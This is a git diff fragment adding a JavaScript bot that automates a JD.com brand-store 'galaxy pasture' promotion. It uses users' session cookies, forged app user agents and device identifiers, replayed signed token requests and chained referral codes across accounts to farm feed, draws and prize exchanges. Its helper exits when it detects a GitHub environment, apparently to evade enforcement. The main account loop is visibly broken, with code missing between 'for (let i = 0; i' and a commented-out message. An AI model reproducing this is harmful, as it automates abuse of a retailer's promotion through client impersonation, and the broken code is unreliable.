t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_qqxing.js b/jd_qqxing.js new file mode 100644 index 0000000..b89fe79 --- /dev/null +++ b/jd_qqxing.js @@ -0,0 +1,663 @@ +/* +星系牧场 +活动入口:QQ星儿童牛奶京东自营旗舰店->品牌会员->星系牧场 +每次都要手动打开才能跑 不知道啥问题 +号1默认给我助力,后续接龙 2给1 3给2 + 19.0复制整段话 http:/J7ldD7ToqMhRJI星系牧场养牛牛,可获得DHA专属奶!%VAjYb8me2b!→去猄倲← +[task_local] +#星系牧场 +1 0-23/2 * * * jd_qqxing.js +*/ +const $ = new Env('QQ星系牧场'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.shareuuid = "" + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i 星系牧场\n\n吹水群:https://t.me/wenmouxx`); +// } else { +// $.msg($.name, "", '星系牧场' + message) +// } +// } + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +// 更新cookie + +function updateCookie (resp) { + if (!oc(() => resp.headers['set-cookie'])){ + return + } + let obj = {} + let cookieobj = {} + let cookietemp = cookie.split(';') + for (let v of cookietemp) { + const tt2 = v.split('=') + obj[tt2[0]] = v.replace(tt2[0] + '=', '') + } + for (let ck of resp['headers']['set-cookie']) { + const tt = ck.split(";")[0] + const tt2 = tt.split('=') + obj[tt2[0]] = tt.replace(tt2[0] + '=', '') + } + const newObj = { + ...cookieobj, + ...obj, + } + cookie = '' + for (let key in newObj) { + key && (cookie = cookie + `${key}=${newObj[key]};`) + } + // console.log(cookie, 'jdCookie') +} +function jdUrl(functionId, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} +//genToken +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: '&body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=73af724a6be5f3cb89bf934dfcde647f&st=1624887881842&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + // let body = `body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&lang=zh_CN&scope=11&sv=111` + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + // console.log(data, 'data') + $.isvToken = data['tokenKey'] + cookie += `IsvToken=${data['tokenKey']}` + // console.log($.isvToken) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取pin需要用到 +function getToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=ede16c356f954b5e48b259f94cf02e10&st=1624887883419&sv=120', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + $.token2 = data['token'] + // console.log($.token2) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + + +//抄的书店的 不过不加好像也能进去 +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("/dingzhi/qqxing/pasture/activity", `activityId=90121061401`), (err, resp, data) => { + updateCookie(resp) + // console.log(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // if ($.isNode()) + // for (let ck of resp['headers']['set-cookie']) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // else { + // for (let ck of resp['headers']['Set-Cookie'].split(',')) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getshopid() { + let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=90121061401") + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.shopid = data.data.shopId + // console.log($.shopid) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getMyPin() { + let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + // console.log($.pin) + $.nickname = data.data.nickname + // console.log(data) + console.log(`欢迎回来~ ${$.nickname}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adlog() { + let config = taskPostUrl("/common/accessLogWithAD", `venderId=1000361242&code=99&pin=${encodeURIComponent($.pin)}&activityId=90121061401&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fqqxing%2Fpasture%2Factivity%3FactivityId%3D90121061401%26lng%3D107.146945%26lat%3D33.255267%26sid%3Dcad74d1c843bd47422ae20cadf6fe5aw%26un_area%3D27_2442_2444_31912&subType=app&adSource=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + let config = taskPostUrl('/wxActionCommon/getUserInfo', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data) { + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } else { + $.cando = false + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUid() { + return new Promise(resolve => { + let body = `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg }&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/activityContent', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if(data.data.openCardStatus !=3){ + console.log("当前未开卡,无法助力和兑换奖励哦") + } + // $.shareuuid = data.data.uid + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.shareuuid}\n`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取任务列表 +function getinfo() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/myInfo", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}`) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.taskList = data.data.task.filter(x => (x.maxNeed == 1 && x.curNum == 0) || x.taskid == "interact") + $.taskList2 = data.data.task.filter(x => x.maxNeed != 1 && x.type == 0) + $.draw = data.data.bags.filter(x => x.bagId == 'drawchance')[0] + $.food = data.data.bags.filter(x => x.bagId == 'food')[0] + $.sign = data.data.bags.filter(x => x.bagId == 'signDay')[0] + $.score = data.data.score + // console.log(data.data.task) + let helpinfo = data.data.task.filter(x => x.taskid == 'share2help')[0] + if (helpinfo) { + console.log(`今天已有${helpinfo.curNum}人为你助力啦`) + if (helpinfo.curNum == 20) { + $.needhelp = false + } + } + $.cow = `当前🐮🐮成长值:${$.score} 饲料:${$.food.totalNum-$.food.useNum} 抽奖次数:${$.draw.totalNum-$.draw.useNum} 签到天数:${$.sign.totalNum}` + $.foodNum = $.food.totalNum-$.food.useNum + console.log($.cow) + $.drawchance = $.draw.totalNum - $.draw.useNum + } else { + $.cando = false + // console.log(data) + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + + +// 获取浏览商品 +function getproduct() { + return new Promise(resolve => { + let body = `type=4&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.uuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/getproduct', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + if (data.data && data.data[0]) { + $.pparam = data.data[0].id + + $.vid = data.data[0].venderId + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获取浏览商品 +function writePersonInfo(vid) { + return new Promise(resolve => { + let body = `jdActivityId=1404370&pin=${encodeURIComponent($.pin)}&actionType=5&venderId=${vid}&activityId=90121061401` + + $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log("浏览:" + $.vid) + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换商品 +function exchange(id) { + return new Promise(resolve => { + let body = `pid=${id}&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/exchange?_', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log() +if(data.result){ +console.log(`兑换 ${data.data.rewardName}成功`) +$.exchange += 20 +}else{ +console.log(JSON.stringify(data)) +} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function dotask(taskId, params) { + let config = taskPostUrl("/dingzhi/qqxing/pasture/doTask", `taskId=${taskId}&${params?("param="+params+"&"):""}activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.shareuuid}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data.food) { + console.log("操作成功,获得饲料: " + data.data.food + " 抽奖机会:" + data.data.drawChance + " 成长值:" + data.data.growUp) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +function draw() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/luckydraw", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (Object.keys(data.data).length == 0) { + console.log("抽奖成功,恭喜你抽了个寂寞: ") + } else { + console.log(`恭喜你抽中 ${data.data.prize.rewardName}`) + $.drawresult += `恭喜你抽中 ${data.data.prize.rewardName} ` + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body) { + const time = Date.now(); + // console.log(cookie) + return { + url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + // 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, + } + } +} + + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};`, + } + } +} + + + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 